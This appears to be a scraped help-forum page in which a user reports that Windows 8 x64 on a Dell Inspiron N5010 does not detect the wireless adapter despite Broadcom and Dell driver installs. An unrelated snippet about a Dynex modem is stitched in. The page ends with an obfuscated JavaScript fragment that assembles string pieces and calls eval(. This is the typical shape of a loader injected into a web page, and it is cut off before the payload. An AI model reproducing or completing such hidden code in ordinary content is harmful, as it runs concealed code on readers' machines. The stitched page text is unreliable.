installed windows 8 X64 build 9200 on dell inspiron N5010-D and it didn't recognized the Bluetooth.. That install broadcom
driver i e Broadcom_wlan_5603506 but still the problem is not solved(after installing broadcoam driver) and I cannot see
wireless network adaptor in Network and Sharing(in Control Panel) only Realtek and Bluetooth PAN adaptor is there.. I tried to
install: - R252544 (Dell Wireless WLAN 1520 Half MiniCard) gets following error 'No compatible hardware found.

That device is ' PCI Simple Communications Controllers' and it marked in Device manager with yellow symbol and the Update
Driver button in Device manager does not work for this.. Similar Messages:

I have installed a Dynex data/fax/voice modem that supports Windows XP, but the system does not recognize it because of the
drivers needed for the PCI controller.. Problem is that I'm not able to access internet via Wireless connection (but with Wired
connection can access internet).. d["LP"]="ef";d["NL"]="en";d["va"]="dR";d["iC"]="9U";d["On"]="Bg";d["yV"]="oa";eval(
